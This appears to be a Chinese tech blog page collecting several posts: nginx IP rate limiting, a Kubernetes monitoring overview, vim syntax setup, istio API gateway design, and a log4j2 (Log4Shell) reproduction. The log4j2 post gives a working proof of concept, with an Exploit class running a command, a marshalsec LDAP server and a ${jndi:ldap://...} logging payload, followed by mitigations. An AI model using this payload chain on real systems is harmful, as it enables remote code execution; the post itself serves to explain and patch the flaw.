可能有些朋友看到标题就已经开始写 prompt 了，喝着 coffee 等着 AI 给你一行行输出答案，然后心里想：“什么年代了，大哥，还用写个文章专门说这事儿吗？你得学会用工具呀” 。

我想说的是，关于这个问题 AI 能给你回答对 90% 的内容，剩下的 10% 你得自己改。开发同学都知道，别说 10% 了，0.1% 不对，程序也不 work 呀。我是不会告诉你我花了一下午时间跟 AI 都聊了什么的。因为那显得我很弱智。

你也别抬杠说我用的工具不对，市面上但凡有的我都用了，真不行，所以我觉得还是值得写一下的。

配置详解

其实改的地方不多，首先我们要在 nginx 默认配置文件的 http 下面配置：

 1 geo $limit_ip {
 2 default 0; # 默认为 0，表示不受限制
 3 1.2.3.4 1; # 需要被限制的 IP
 4 # 添加更多需要限制的 IP 地址
 5 }
 6
 7 map $limit_ip $limit_key {
 8 0 "";
 9 1 $binary_remote_addr;
10 }
11
12 # 定义限流区域
13 limit_req_zone $limit_key zone=mylimit:10m rate=2r/s;

我们解释一下。

geo 指令：

geo 名字来源于“geographic”，意指地理位置。但是值得注意的是，geo 指令实际上只基于 IP 地址进行匹配，而 IP 地址与地理位置之间的映射需要额外的数据库或服务来提供。许多第三方服务和数据库（如 MaxMind GeoIP、GeoLite2 等）可以用来更精确地将 IP 地址转换为地理位置信息。

解释一下我们上文中中 geo 的配置：

geo $limit_ip { ... }：定义了一个名为 $limit_ip的变量，用于根据客户端 IP 地址设置不同的值。
default 0;：默认情况下，如果客户端 IP 地址不在列表中，$limit_ip 的值为 0。
1.2.3.4 1;：如果客户端 IP 地址是 1.2.3.4，则 $limit_ip 的值为 1。这里的 1 是一个标记，表示这个 IP 地址需要被限制。

总结来说就是用 geo 指令标记需要限制的 IP 地址

map 指令：

map $limit_ip $limit_key { ... }：根据$limit_ip的值来设置另一个变量$limit_key。
0 "";：如果$limit_ip的值为 0（即默认情况），则$limit_key的值为空字符串。
1 $binary_remote_addr;：如果$limit_ip的值为 1（即被标记的 IP 地址），则$limit_key的值为客户端 IP 地址的二进制形式（$binary_remote_addr）。

不知道聪明的你看出来没有，我们这里其实设置的是 “黑名单” （即我想限制哪些 ip 我就配置哪些，剩下的不限制），在 geo 配置的 ip 到了 map 这里以后，将这些 IP 地址映射到了一个变量上，即 limit_key 。如果你想设置白名单（即我想让哪些 ip 不被限制我就配置哪些，剩下的都限制）不就是反过来操作嘛。

举个白名单的例子：

 1geo $limit {
 2 default 1;
 3 10.0.0.0/8 0;
 4 192.168.0.0/24 0;
 5 172.20.0.35 0;
 6}
 7map $limit $limit_key {
 8 0 "";
 9 1 $binary_remote_addr;
10}

limit_req_zone

接着是整块配置的最后一行。

1limit_req_zone $limit_key zone=mylimit:10m rate=2r/s;

使用 limit_req_zone 指令定义了一个限流区域，对标记的 IP 地址进行请求速率限制。如果一个 IP 地址不在 geo 指令中定义，则不受限制。如果一个 IP 地址被标记，则它的请求速率会被限制在每秒 2 个请求。

$limit_key：使用$limit_key 变量作为限流的键。
zone=mylimit:10m：设置共享内存区域的大小为 10MB，用于存储限流信息。
rate=2r/s：设置每个键值（即每个 IP 地址）的请求速率限制为每秒 2 个请求。

其实这些指令都有一些详细参数，简单起见，我就不介绍了，都有 AI 了，需要的话自己查吧。我们说点儿重点。

我猜你可能关心 zone=mylimit 里面到底是什么样的，里面到底有啥。是的，这很重要，了解清楚 zone 的结构很关键，关于 zone 的数据我没细看过，但结构大致类似这样：

 1{
 2 "mylimit": {
 3 "123.124.210.242": {
 4 "current": 0, // 当前请求计数
 5 "last": 1618305483, // 上次请求的时间戳
 6 "tokens": 2, // 当前令牌桶中的令牌数
 7 "delay": 0 // 由于限流导致的延迟（秒）
 8 },
 9 // ... 其他被限流的 IP 地址信息
10 "192.168.1.100": {
11 "current": 1,
12 "last": 1618305495,
13 "tokens": 1,
14 "delay": 0
15 }
16 }
17}

好了，到这里我们第一部分的配置就结束了，是不很简单？然后我们进行第二部分的配置，也很简单。

前文我们第一部分的配置只是定义了一个限流的策略，我们还没应用呢呀。所以我们要在需要的地方把它用起来。

很简单，在需要限流的 location 中这样写：

1 location /abc/api {
2 limit_req zone=mylimit;
3 }

没了？就一句？

对，没了。是不很简单？简单到我都不想解释，如果你理解了前文你就懂了，我就不解释了。毕竟你会用 AI 不是。

然后你就可以重新加载配置，或重启 nginx 了。再然后你就要耐心等待和观察，等待之前那些讨厌的恶意 ip 再次造访，顺利地话你会在 nginx 的 error 日志中看到类似这样的信息：

1... [error] ..limiting requests,excess:0.996 by zone "mylimit", client:1.2.3.4 ...

lo4j2 漏洞复现过程及解决方案

Mon, 13 Dec 2021 08:39:02 +0000

背景

近日，阿里云团队发现并报告了 log4j2 的一个漏洞。

由于 log4j2 是一个依赖较广的底层库，所以影响范围很大。影响程度严重，有多严重呢？这么说吧，是灾难性的。

复现漏洞

环境介绍

操作系统：macos Catalina
jdk 版本：11.0.9.1
log4j2 版本：2.13.3（使用 springboot 2.3.2.RELEASE 间接依赖）

原理介绍

引用公众号：“小林 coding” 的一张图：

使用 log4j2 正常打日志的时候没事儿，比如：

1logger.info("this is {}", "log4j2 demo");

但如果你的日志中包含 “${” 开头，“}” 结尾的内容就会被解析出来，单独处理。

而如果“${}” 所包裹的内容是类似这样的：jndi:ldap://127.0.0.1:1389/#Exploit，则有可能触发这个漏洞。

复现具体流程是这样的：

先写一段想要被远程执行的 java 代码，然后编译成 class 文件
将 HTTP Server 启动，保证可以通过 Http Server 访问到这个 class 文件。
将 LDAP Server 启动，并将 Http Server 上的那个 class 文件注册上去。
启动 java 应用程序，利用 log4j2 写日志，日志内容包括如 ${jndi:ldap://127.0.0.1:1389/#Exploit} 这样的内容。
观察结果，看 class 文件中的程序逻辑有没有被执行。

复现

 1 <parent>
 2 <groupId>org.springframework.boot</groupId>
 3 <artifactId>spring-boot-starter-parent</artifactId>
 4 <version>2.3.2.RELEASE</version>
 5 <relativePath/>
 6</parent>
 7
 8...
 9
10<dependency>
11 <groupId>org.springframework.boot</groupId>
12 <artifactId>spring-boot-starter-log4j2</artifactId>
13</dependency>

可以看到，我是通过 spring-boot-starter-log4j2 来间接引用的 log4j2 的。引入的具体包版本是这样的：

我们先写一段想要被执行的程序：

 1public class Exploit {
 2
 3 public Exploit() {
 4 try {
 5
 6 System.out.println("执行漏洞代码");
 7 String[] commands = {"open", "/System/Applications/Calculator.app"};
 8 Process pc = Runtime.getRuntime().exec(commands);
 9 pc.waitFor();
10 System.out.println("完成执行漏洞代码");
11
12 } catch (Exception e) {
13 e.printStackTrace();
14 }
15
16 }
17
18 public static void main(String[] args) {
19 Exploit exploit = new Exploit();
20
21 }
22}

这段程序是打开我电脑上的计算器程序。

注意：这里的程序不要写 package 包名，我在这里浪费了不少时间，写包名可能会导致后面执行的时候报错。

然后我们找一个空目录，把 java 文件 copy 过去，接着编译它：

1javac Exploit.java

接着我在当前目录下执行：

1 python -m SimpleHTTPServer 8800

目的是启动一个 HTTP Server, 当然你也可以用 nginx 或者 java 程序来做，只要能够充当 HTTP Server 的都可以。

启动后你可以在浏览器里验证一下：

再来我们在本地启动一个 LDAP Server。

https://github.com/mbechler/marshalsec 从这里下载代码然后执行打包编译：

1mvn clean package -DskipTests

打包后，到 target 目录下执行：

1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit"

上面命令的目的是启动 LDAP Server，并且把我们的程序注册到 LDAP Server 上。具体来说是把带有 Http Server 地址（上面用 python 启动的 HTTP server）的 url 注册到 LDAP Server 上。

正常启动后 LDAP 会开始监1389 端口

最后我们编写记录日志程序：

 1 private static final Logger logger = LogManager.getLogger(Log4jDemo.class);
 2
 3 public static void main(String[] args) {
 4
 5 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 6 logger.error("${jndi:ldap://127.0.0.1:1389/#Exploit}");
 7
 8 try {
 9 Thread.sleep(1000);
10 } catch (Exception e) {
11
12 }
13
14 }

执行后效果：

可以看到，我的计算器被调起了。既然可以执行语句和代码逻辑，那么像 rm -rf 、删库 这种操作也可以执行的！

上面这段程序中，有一行代码要注意：

1 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

如果设置成 false 或者注释掉这行代码，则计算器都不会被调起，即攻击程序不会被执行。原因是：

“

Java 最终也修复了这个利用点，对 LDAP Reference 远程工厂类的加载增加了限制，在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false，还对应的分配了一个漏洞编号 CVE-2018-3149

”

那是不是意味着，高版本的 JDK 就不会有漏洞呢？

不是的，还是有办法攻击，不要抱有侥幸心理，具体可以参考：https://paper.seebug.org/942/#4-jdk-8u191

解决方案

改配置

网上常说的临时补救方案是修改配置如：

修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
修改配置 log4j2.formatMsgNoLookups=True
将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

原理其实都一样，就是禁用 log4j2 的 lookup 。

升级版本

目前官方 2.15.0 版本已经修复了这个问题，可以升级这个版本，笔者利用上面的程序修改了版本号后，发现漏洞无法再复现了

1<!-- 可以在这里修改 log4j 依赖版本-->
2<log4j2.version>2.15.0</log4j2.version>

当然你也可以手动编译 log4j2 的源码，然后上传到自己的 maven 私服，再修改公共依赖升级版本。

注意编译 log4j2 源码时需要 1.9 以上版本的 jdk，因为它有这么个东西

参考

Kubernetes监控体系总结

Mon, 15 Nov 2021 12:21:02 +0000

基本概念

cAdvisor

Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的 Linux/Windows/Mac 机器上。容器镜像正成为一个新的标准化软件交付方式。为了能够获取到 Docker 容器的运行状态，用户可以通过 Docker 的 stats 命令获取到当前主机上运行容器的统计信息，可以查看容器的 CPU 利用率、内存使用量、网络 IO 总量以及磁盘 IO 总量等信息。

显然如果我们想对监控数据做存储以及可视化的展示，那么 docker 的 stats 是不能满足的。

为了解决 docker stats 的问题（存储、展示），谷歌开源的 cadvisor 诞生了，cadvisor 不仅可以搜集一台机器上所有运行的容器信息，还提供基础查询界面和 http 接口，方便其他组件如 Prometheus 进行数据抓取，或者 cAdvisor + influxDB + grafana 搭配使用。cAdvisor 可以对节点机器上的资源及容器进行实时监控和性能数据采集，包括 CPU 使用情况、内存使用情况、网络吞吐量及文件系统使用情况

监控原理

cAdvisor 使用 Go 语言开发，利用 Linux 的 cgroups 获取容器的资源使用信息，在 K8S 中集成在 Kubelet 里作为默认启动项，官方标配。

Docker 是基于 Namespace、Cgroups 和联合文件系统实现的

Cgroups 不仅可以用于容器资源的限制，还可以提供容器的资源使用率。不管用什么监控方案，底层数据都来源于 Cgroups

Cgroups 的工作目录 /sys/fs/cgroup 下包含了 Cgroups 的所有内容。Cgroups 包含了很多子系统，可以对 CPU，内存，PID，磁盘 IO 等资源进行限制和监控。

cAdvisor 运行原理，如下图

Prometheus

Prometheus 是一套开源的监控报警系统。主要特点包括多维数据模型、灵活查询语句 PromQL 以及数据可视化展示等

架构图

基本原理

Prometheus 的基本原理是通过 HTTP 协议周期性抓取被监控组件的状态，任意组件只要提供对应的 HTTP 接口就可以接入监控。不需要任何 SDK 或者其他的集成过程。这样做非常适合做虚拟化环境监控系统，比如 VM、Docker、Kubernetes 等。输出被监控组件信息的 HTTP 接口被叫做 exporter 。目前互联网公司常用的组件大部分都有 exporter 可以直接使用，比如 Varnish、Haproxy、Nginx、MySQL、Linux 系统信息（包括磁盘、内存、CPU、网络等等）。

服务过程

Prometheus Daemon 负责定时去目标上抓取 metrics（指标）数据，每个抓取目标需要暴露一个 http 服务的接口给它定时抓取。Prometheus 支持通过配置文件、文本文件、Zookeeper、Consul、DNS SRV Lookup 等方式指定抓取目标。Prometheus 采用 PULL 的方式进行监控，即服务器可以直接通过目标 PULL 数据或者间接地通过中间网关来 Push 数据。
Prometheus 在本地存储抓取的所有数据，并通过一定规则进行清理和整理数据，并把得到的结果存储到新的时间序列中。
Prometheus 通过 PromQL 和其他 API 可视化地展示收集的数据。Prometheus 支持很多方式的图表可视化，例如 Grafana、自带的 Promdash 以及自身提供的模版引擎等等。Prometheus 还提供 HTTP API 的查询方式，自定义所需要的输出。
PushGateway 支持 Client 主动推送 metrics 到 PushGateway，而 Prometheus 只是定时去 Gateway 上抓取数据。
Alertmanager 是独立于 Prometheus 的一个组件，可以支持 Prometheus 的查询语句，提供十分灵活的报警方式。

Operator

Operator 是 CoreOS 推出的旨在简化复杂有状态应用管理的框架，它是一个感知应用状态的控制器，通过扩展 Kubernetes API 来自动创建、管理和配置应用实例。

Operator 基于 CustomResourceDefinition(CRD) 扩展了新的应用资源，并通过控制器来保证应用处于预期状态。比如 etcd operator 通过下面的三个步骤模拟了管理 etcd 集群的行为：

通过 Kubernetes API 观察集群的当前状态；
分析当前状态与期望状态的差别；
调用 etcd 集群管理 API 或 Kubernetes API 消除这些差别。

Prometheus Operator

为了在 Kubernetes 能够方便的管理和部署 Prometheus，我们使用 ConfigMap 了管理 Prometheus 配置文件。每次对 Prometheus 配置文件进行升级时，我们需要手动移除已经运行的 Pod 实例，从而让 Kubernetes 可以使用最新的配置文件创建 Prometheus。而如果当应用实例的数量更多时，通过手动的方式部署和升级 Prometheus 过程繁琐并且效率低下。

从本质上来讲 Prometheus 属于是典型的有状态应用，而其又包含了一些自身特有的运维管理和配置管理方式。而这些都无法通过 Kubernetes 原生提供的应用管理概念实现自动化。为了简化这类应用程序的管理复杂度，CoreOS 率先引入了 Operator 的概念，并且首先推出了针对在 Kubernetes 下运行和管理 Etcd 的 Etcd Operator。并随后推出了 Prometheus Operator。

从概念上来讲 Operator 就是针对管理特定应用程序的，在 Kubernetes 基本的 Resource 和 Controller 的概念上，以扩展 Kubernetes api 的形式。帮助用户创建，配置和管理复杂的有状态应用程序。从而实现特定应用程序的常见操作以及运维自动化。

在 Kubernetes 中我们使用 Deployment、DamenSet，StatefulSet 来管理应用 Workload，使用 Service，Ingress 来管理应用的访问方式，使用 ConfigMap 和 Secret 来管理应用配置。我们在集群中对这些资源的创建，更新，删除的动作都会被转换为事件 (Event)，Kubernetes 的 Controller Manager 负责监听这些事件并触发相应的任务来满足用户的期望。这种方式我们成为声明式，用户只需要关心应用程序的最终状态，其它的都通过 Kubernetes 来帮助我们完成，通过这种方式可以大大简化应用的配置管理复杂度。

而除了这些原生的 Resource 资源以外，Kubernetes 还允许用户添加自己的自定义资源 (Custom Resource)。并且通过实现自定义 Controller 来实现对 Kubernetes 的扩展。

如下所示，是 Prometheus Operator 的架构示意图：

Prometheus 的本职就是一组用户自定义的 CRD 资源以及 Controller 的实现，Prometheus Operator 负责监听这些自定义资源的变化，并且根据这些资源的定义自动化的完成如 Prometheus Server 自身以及配置的自动化管理工作。

简言之，Prometheus Operator 能够帮助用户自动化的创建以及管理 Prometheus Server 以及其相应的配置。

HPA

Horizontal Pod Autoscaler ，K8S 中的一个概念，可以自动调整 Pod 的数量，以达到指定的目标值。

Pod 水平自动扩缩（Horizontal Pod Autoscaler）可以基于 CPU 利用率自动扩缩 ReplicationController、Deployment、ReplicaSet 和 StatefulSet 中的 Pod 数量。除了 CPU 利用率，也可以基于其他应程序提供的 自定义度量指标来执行自动扩缩。Pod 自动扩缩不适用于无法扩缩的对象，比如 DaemonSet。

Heapster

Heapster 是容器集群监控和性能分析工具，天然的支持 Kubernetes 和 CoreOS。

Heapster 首先从 K8S Master 获取集群中所有 Node 的信息，然后通过这些 Node 上的 kubelet 获取有用数据，而 kubelet 本身的数据则是从 cAdvisor 得到。所有获取到的数据都被推到 Heapster 配置的后端存储中，并还支持数据的可视化。现在后端存储 + 可视化的方法，如 InfluxDB + grafana。

Heapster 可以收集 Node 节点上的 cAdvisor 数据，还可以按照 kubernetes 的资源类型来集合资源，比如 Pod、Namespace 域，可以分别获取它们的 CPU、内存、网络和磁盘的 metric。默认的 metric 数据聚合时间间隔是 1 分钟。

注意：Kubernetes 1.11 不建议使用 Heapster，就 SIG Instrumentation 而言，这是为了转向新的 Kubernetes 监控模型的持续努力的一部分。仍使用 Heapster 进行自动扩展的集群应迁移到 metrics-server 和自定义指标 API。

Metrics Server

kubernetes 集群资源监控之前可以通过 heapster 来获取数据，在 1.11 开始开始逐渐废弃 heapster 了，采用 metrics-server 来代替，metrics-server 是集群的核心监控数据的聚合器，它从 kubelet 公开的 Summary API 中采集指标信息，metrics-server 是扩展的 APIServer，依赖于 kube-aggregator，因为我们需要在 APIServer 中开启相关参数。

Metrics Server 并不是 kube-apiserver 的一部分，而是通过 Aggregator 这种插件机制，在独立部署的情况下同 kube-apiserver 一起统一对外服务的。

Aggregator

“

通过聚合层扩展 Kubernetes API使用聚合层（Aggregation Layer），用户可以通过额外的 API 扩展 Kubernetes，而不局限于 Kubernetes 核心 API 提供的功能。这里的附加 API 可以是现成的解决方案比如 metrics server, 或者你自己开发的 API。聚合层不同于定制资源（Custom Resources）。后者的目的是让 kube-apiserver 能够认识新的对象类别（Kind）。

”

“

聚合层聚合层在 kube-apiserver 进程内运行。在扩展资源注册之前，聚合层不做任何事情。要注册 API，用户必须添加一个 APIService 对象，用它来“申领” Kubernetes API 中的 URL 路径。自此以后，聚合层将会把发给该 API 路径的所有内容（例如 /apis/myextension.mycompany.io/v1/…）转发到已注册的 APIService。

”

“

APIService 的最常见实现方式是在集群中某 Pod 内运行扩展 API 服务器。如果你在使用扩展 API 服务器来管理集群中的资源，该扩展 API 服务器（也被写成“extension-apiserver”）一般需要和一个或多个控制器一起使用。apiserver-builder 库同时提供构造扩展 API 服务器和控制器框架代码。

”

这里，Aggregator APIServer 的工作原理，可以用如下所示的一幅示意图来表示清楚：

因为 k8s 的 api-server 将所有的数据持久化到了 etcd 中，显然 k8s 本身不能处理这种频率的采集，而且这种监控数据变化快且都是临时数据，因此需要有一个组件单独处理他们，于是 metric-server 的概念诞生了。

Metrics server 出现后，新的 Kubernetes 监控架构将变成下图的样子

核心流程（黑色部分）：这是 Kubernetes 正常工作所需要的核心度量，从 Kubelet、cAdvisor 等获取度量数据，再由 metrics-server 提供给 Dashboard、HPA 控制器等使用。
监控流程（蓝色部分）：基于核心度量构建的监控流程，比如 Prometheus 可以从 metrics-server 获取核心度量，从其他数据源（如 Node Exporter 等）获取非核心度量，再基于它们构建监控告警系统。

注意：

metrics-sevrer 的数据存在内存中。
metrics-server 主要针对 node、pod 等的 cpu、网络、内存等系统指标的监控

kube-state-metrics

已经有了 cadvisor、heapster、metric-server，几乎容器运行的所有指标都能拿到，但是下面这种情况却无能为力：

我调度了多少个 replicas？现在可用的有几个？
多少个 Pod 是 running/stopped/terminated 状态？
Pod 重启了多少次？
我有多少 job 在运行中

而这些则是 kube-state-metrics 提供的内容，它基于 client-go 开发，轮询 Kubernetes API，并将 Kubernetes 的结构化信息转换为 metrics。

kube-state-metrics 与 metrics-server 对比

我们服务在运行过程中，我们想了解服务运行状态，pod 有没有重启，伸缩有没有成功，pod 的状态是怎么样的等，这时就需要 kube-state-metrics，它主要关注 deployment,、node 、 pod 等内部对象的状态。而 metrics-server 主要用于监测 node，pod 等的 CPU，内存，网络等系统指标。

metric-server（或 heapster）是从 api-server 中获取 cpu、内存使用率这种监控指标，并把他们发送给存储后端，如 influxdb 或云厂商，他当前的核心作用是：为 HPA 等组件提供决策指标支持。
kube-state-metrics 关注于获取 k8s 各种资源的最新状态，如 deployment 或者 daemonset，之所以没有把 kube-state-metrics 纳入到 metric-server 的能力中，是因为他们的关注点本质上是不一样的。metric-server 仅仅是获取、格式化现有数据，写入特定的存储，实质上是一个监控系统。而 kube-state-metrics 是将 k8s 的运行状况在内存中做了个快照，并且获取新的指标，但他没有能力导出这些指标
换个角度讲，kube-state-metrics 本身是 metric-server 的一种数据来源，虽然现在没有这么做。
另外，像 Prometheus 这种监控系统，并不会去用 metric-server 中的数据，他都是自己做指标收集、集成的（Prometheus 包含了 metric-server 的能力），但 Prometheus 可以监控 metric-server 本身组件的监控状态并适时报警，这里的监控就可以通过 kube-state-metrics 来实现，如 metric-serverpod 的运行状态。

custom-metrics-apiserver

kubernetes 的监控指标分为两种

Core metrics（核心指标）：从 Kubelet、cAdvisor 等获取度量数据，再由 metrics-server 提供给 Dashboard、HPA 控制器等使用。
Custom Metrics（自定义指标）：由 Prometheus Adapter 提供 API custom.metrics.k8s.io，由此可支持任意 Prometheus 采集到的指标。

以下是官方 metrics 的项目介绍：

Resource Metrics API（核心 api）

Heapster
Metrics Server

Custom Metrics API：

Prometheus Adapter
Microsoft Azure Adapter
Google Stackdriver
Datadog Cluster Agent

核心指标只包含 node 和 pod 的 cpu、内存等，一般来说，核心指标作 HPA 已经足够，但如果想根据自定义指标：如请求 qps/5xx 错误数来实现 HPA，就需要使用自定义指标了，目前 Kubernetes 中自定义指标一般由 Prometheus 来提供，再利用 k8s-prometheus-adpater 聚合到 apiserver，实现和核心指标（metric-server) 同样的效果。

HPA 请求 metrics 时，kube-aggregator(apiservice 的 controller) 会将请求转发到 adapter，adapter 作为 kubernentes 集群的 pod，实现了 Kubernetes resource metrics API 和 custom metrics API，它会根据配置的 rules 从 Prometheus 抓取并处理 metrics，在处理（如重命名 metrics 等）完后将 metric 通过 custom metrics API 返回给 HPA。最后 HPA 通过获取的 metrics 的 value 对 Deployment/ReplicaSet 进行扩缩容。

adapter 作为 extension-apiserver（即自己实现的 pod)，充当了代理 kube-apiserver 请求 Prometheus 的功能。

其实 k8s-prometheus-adapter 既包含自定义指标，又包含核心指标，即如果安装了 prometheus，且指标都采集完整，k8s-prometheus-adapter 可以替代 metrics server。

Prometheus 部署方案

prometheus operator

https://github.com/prometheus-operator/prometheus-operator

kube-prometheus

https://github.com/prometheus-operator/kube-prometheus

在集群外部署

https://www.qikqiak.com/post/monitor-external-k8s-on-prometheus/

kube-prometheus 既包含了 Operator，又包含了 Prometheus 相关组件的部署及常用的 Prometheus 自定义监控，具体包含下面的组件

The Prometheus Operator：创建 CRD 自定义的资源对象
Highly available Prometheus：创建高可用的 Prometheus
Highly available Alertmanager：创建高可用的告警组件
Prometheus node-exporter：创建主机的监控组件
Prometheus Adapter for Kubernetes Metrics APIs：创建自定义监控的指标工具（例如可以通过 nginx 的 request 来进行应用的自动伸缩）
kube-state-metrics：监控 k8s 相关资源对象的状态指标
Grafana：进行图像展示

我们的做法

我们的做法，其实跟 kube-prometheus 的思路差不多，只不过我们没有用 Operator ，是自己将以下这些组件的 yaml 文件用 helm 组织了起来而已：

kube-state-metrics
prometheus
alertmanager
grafana
k8s-prometheus-adapter
node-exporter

当然 kube-prometheus 也有 helm charts 由 prometheus 社区提供：https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack

这么干的原因是：这样的灵活度是最高的，虽然在第一次初始化创建这些脚本的时候麻烦了些。不过还有一个原因是我们当时部署整个基于 prometheus 的监控体系时，kube-prometheus 这个项目还在早期，没有引起我们的关注。如果在 2021 年年初或 2020 年年底的时候创建的话，可能就会直接上了。

参考

vim 配置 nginx 语法高亮

Mon, 06 Sep 2021 07:33:47 +0000

当你使用 vim 编辑器编辑 nginx 的配置文件时，vim 编辑器是无法自动识别出 nginx 的相关语法的。
所以，使用 vim 编辑器编辑 nginx 配置文件时，无法实现”语法高亮”功能，也就是说，默认情况下，使用 vim 编辑 nginx 配置文件时，没有彩色的语法着色。
对于使用者来说，这样体验不好，nginx 官方很贴心，在源码包中为我们提供了 vim 针对 nginx 的语法高亮配置文件，我们只要把这些文件拷贝到 vim 的对应目录中即可直接使用，方法很简单

如下：

1
2# wget http://nginx.org/download/nginx-1.14.2.tar.gz
3# tar -xf nginx-1.14.2.tar.gz
4
5进入到源码包解压目录
6# cd nginx-1.14.2/
7将相应的语法文件拷贝到对应的目录中，即可完成
8# cp -r contrib/vim/* /usr/share/vim/vimfiles/

参考：https://www.zsythink.net/archives/3091

上了 istio 的贼船之 API Gateway

Mon, 21 Jun 2021 05:02:18 +0000

上了 istio 的贼船之 API Gateway

现状

下图是我们系统的架构现状，大致介绍一下：

基础设施在华为云上
基本上是基于 istio on k8s 架构。
istio 版本为 1.3，所以组件较多（galley、pilot、citadel、telemetry……）
微服务后端用 spring boot 单体，前端有 nodejs、vue等
应用的链路监控主要基于 skywalking, istio 的通讯层面利用 kiali可视化调用链
其他比较传统

历史架构

主要介绍下作为服务通讯基础设施的 istio 在这里的作用

服务间通讯，依赖 envoy sidecar
注册中心，依赖 istio 控制面
服务治理（熔断、超时、重试）这部分还没有完完全全切干净，还有些 spring boot 应用依赖 hystrix，后面会全部改成利用 istio。
流量管理（ingress gateway、egress gateway、负载均衡）
测试（错误注入）

通过将传统微服务架构的这些控制面功能解耦到 istio,可以让微服务应用本身专注于业务开发，是一个比较简的单体 springboot 应用。再结合 k8s 的高扩展性，研发整体的迭代速度和运维效率还是比较高的，缺点是无论是 k8s 还是 istio ，学习成本偏高，需要团队至少 2 人具有专业知识，对于招聘成本、系统升级都有风险。

上了贼船

坦白讲，如果系统最初的设计是我来做，是不会用如此“激进”的方案的，会转而用 spring cloud 为基础的架构，当然，k8s 是非常可能会使用的。但可惜我是中间接手，也想过换架构，但迫于公司业务和迭代的压力，再加上人手有限，再换架构的风险会非常高，所以既然上了 istio 的贼船，就只能走下去了，等什么时候时机成熟再并行其他架构，或切换回合适的架构。这里我要强调的是，做架构选择或者选型不是为了技术而技术，一定是要非常适合当时公司的发展现状、业务场景、团队能力、招聘成本等等，综合多种条件而得出的结论。巧合的是 istio 的 logo 也是一个帆船的样子，果真是上了贼船

API Gateway

终于说到本文的重点 API Gateway 了，对于这个话题，之前写过一篇文章，读者可以先脱离现在的架构从功能层面来了解下 API Gateway。

 [![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/003-65589640.png)API 网关选型及包含 BFF 的架构设计](http://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==&mid=2247484717&idx=1&sn=8162d7957b29504162490780e8d3763d&chksm=eb6dbaabdc1a33bd14c244069e44e3b84dfea8bae546c09facfa42bb5dbf90c1c70421efa6dc&scene=21#wechat_redirect)

回到我们现在的架构，你会发现，虽然我们有前置的 openResty,但应用层这边并没有一个担当 API Gateway 角色的服务。而无论是 openResty 或者是 nginx 对于云原生 API Gateway 的需求是不能完全满足的。

当然了解 istio 的读者可能会问：

istio ingress gateway 不也具有网关的功能吗？
为什么没有用 nginx ingress controller ？

首先，我承认基于 k8s ingress 实现的各种 ingress controller 功能越来越完善，如果我们没有用 istio 可能会采用这种方案，但我们使用了，那么再结合 k8s ingress 就会有如如何为服务网格选择入口网关[1]中说的如下问题：

K8s Ingress 是独立在 Istio 体系之外的，需要单独采用 Ingress rule 进行配置，导致系统入口和内部存在两套互相独立的路由规则配置，运维和管理较为复杂。
K8s Ingress rule 的功能较弱，不能在入口处实现和网格内部类似的路由规则，也不具备网格 sidecar 的其它能力，导致难以从整体上为应用系统实现灰度发布、分布式跟踪等服务管控功能。

其次，没错 istio ingress gateway 除了基础的通讯功能之外，还有一些其他的应用层功能。但我们综合来比较下 k8s ingress、istio ingress gateway 和我们理想中的 API Gateway，就会发现它还不够完善,主要是对于 API 管理的这部分功能欠缺。

未来

前文已经对各种 API Gateway的实现方案进行了讨论，结论是在目前难以找到一个同时具备API Gateway和Isito Ingress能力的网关。那么再回顾一下我们的需求：

我们使用 istio
我们需要 API Gateway

所以，经过思考，我们未来的方案设计如下图：

仍然利用 istio ingress gateway作为入口
将 istio ingress gateway接到 LB
将API Gateway纳入到istio cluster管理的范畴当中，即拥有sidecar proxy，可被istio控制面控制。API Gateway的选型很有可能使用云原生应用网关，如 API SIX
应用层微服务不会利用如 spring cloud gateway 编码一个服务网关

总结：使用API Gateway和Sidecar Proxy一起为服务网格提供外部流量入口。

还有没有问题？

有的，根据 Service Mesh 和 API Gateway关系深度探讨[2]上述方案的优势在于API Gateway和Sidecar独立部署，职责明确，架构清晰。但是，和Service Mesh使用sidecar被质疑多一跳会造成性能开销影响效率一样，API Gateway使用Sidecar也被同样的质疑：多了一跳……

对了多了这一跳，从整个架构每一段的网络耗时及其作用来看，这一跳多出的时间，几乎可以忽略不计。

性能如何？

作为 sidecar 的 envoy的性能应该是毋庸置疑了。至于istio ingress gateway虽然官方给出的数据也不错，但还是要在实践中观察。而作为 Cloud Native API Gateway 比如 API SIX 我对它有足够的信心，至少在我司现阶段业务体量以及未来百倍增长规模下都不会担心性能问题。

参考资料

[1]

如何为服务网格选择入口网关？: https://zhaohuabing.com/post/2019-03-29-how-to-choose-ingress-for-service-mesh/#k8s-ingress

[2]

Service Mesh和API Gateway关系深度探讨: https://www.servicemesher.com/blog/service-mesh-and-api-gateway/

API 网关选型及包含 BFF 的架构设计

Tue, 13 Oct 2020 04:14:35 +0000

API 网关选型及包含 BFF 的架构设计

一背景介绍

下图是我从网络上找到的一个微服务架构的简单架构图，如图可见 API Gateway 在其中起到一个承上启下的作用，是关键组件。

图片来源于网络

在更通用的场景下我们会使用 NGINX 这样的软件做前置，用来处理SLB负载均衡过来的流量，作用是反向代理、集群负载均衡、转发、日志收集等功能。

然后再将 NGINX 的请求 proxy 到 API Gateway 做统一网关处理。

在上面的这个场景下 API Gateway 可以包含以下功能：

安全
限流
缓存
熔断
重试
负载
反向路由
认证、鉴权
日志收集和监控
其他

熟悉 NGINX 的朋友应该可以看出来，上面列出的这些功能和 NGINX 的部分功能是重合的，不过由于架构结构不同，在上面我提到的场景中，即 NGINX 在前 API gateway 在后的结构中，他们两者关注的维度也不一样，所以即使有重合也正常。

二架构调整

下图是我基于云原生微服务架构设计的架构图其中前端流量是通过 SLB -> NGINX -> API Gateway 再到具体服务。

